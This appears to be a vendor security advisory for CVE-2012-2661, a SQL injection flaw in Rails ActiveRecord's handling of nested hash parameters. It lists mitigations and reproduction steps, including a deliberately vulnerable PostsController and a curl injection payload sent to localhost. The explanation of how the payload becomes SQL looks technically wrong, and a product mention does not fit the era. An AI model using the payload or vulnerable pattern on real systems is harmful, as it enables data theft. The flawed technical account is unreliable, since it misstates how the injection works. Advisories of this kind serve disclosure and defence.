Ruby on Rails (often called Rails) is a web application framework written in Ruby that emphasizes convention over configuration and the principle of "don't repeat yourself" (DRY). It provides developers with a structured and efficient way to build database-backed web applications through pre-built patterns for rapid development.
There is an exploit in the ActiveRecord class that allows attackers to conduct SQL injection attacks because it improperly handles nested hashes. By using a carefully constructed query with nested parameters, the payload can contain SQL commands that can be executed.
This issue is related to CVE-2012-2661.
Details
Module Info
- Product: Ruby on Rails Framework
- Affected packages: activerecord
- GitHub repository:
https://github.com/rails/rails/tree/main/activerecord - Published package: The individual ActiveRecord library or the entire Rails Framework (which includes ActiveStorage).
- Package manager: gem
Vulnerability Info
An attacker can form a specially crafted request with nested parameters that can, in turn, create a hash that causes the WHERE clause to query an arbitrary table.
Commands that are susceptible to this exploit are .where(), find_by_sql() and .order() and several others.
Addressing the Issue
The first method to consider when addressing the issue is through parameter sanitization.
An alternative way to address the issue is by casting the parameters to the expected value. In the case below, the parameters are cast to strings with .to_s.
Thus, the following:
Post.where(:id => params[:id]).all
becomes:
Post.where(:id => params[:id].to_s).all
An additional method is to use parameter binding. Rails automatically escapes the parameter with parameter binding:
Post.where("id = ?", params[:id])
Steps To Reproduce
1. Install a version of Rails that includes this vulnerability, such as 3.2.5. Create a new app:
gem install rails -v 3.2.5
rails _3.2.5_ new vulnerable_app
cd vulnerable_app
bundle install
2. Add a Post model and a User model:
rails generate model Post title:string content:text
rails generate model User name:string
rake db:migrate
3.Set up a vulnerable controller action by adding the following in app/controllers/posts_controller.rb:
class PostsController < ApplicationController
def index
@posts = Post.where(id: params[:id]).all
render json: @posts
end
end
And update config/routes.rb:
resources :posts, only: [:index]
4. Seed the database by adding this to db/seeds.rb:
User.create(name: 'Alice')
User.create(name: 'Bob')
Post.create(title: 'First Post', content: 'This is the first post')
Post.create(title: 'Second Post', content: 'This is the second post')
Then run the seeding command:
rake db:seed
5. Start the Rails server:
rails server
6. Exploit the vulnerability by using a request that exploits the SQL injection vulnerability:
curl "http://localhost:3000/posts?id[users.id]=1 OR 1=1"
7. The expected result will be all records since the query ends with “OR 1=1.” This is because the params[:id] becomes:
{ "users.id" => "1 OR 1=1" }
Which translates to:
SELECT * FROM posts WHERE users.id = 1 OR 1=1;
Credits
- Ernie Miller, Gabriel Quadros, Takeshi Terada of Mitsui Bussan Secure Directions, Inc., Tomás D'Stefano
Mitigation
Users of affected versions of Ruby on Rails should follow one of the following mitigations:
- Upgrade to a corrected version.
- Leverage a commercial support partner like HeroDevs for post-EOL security support.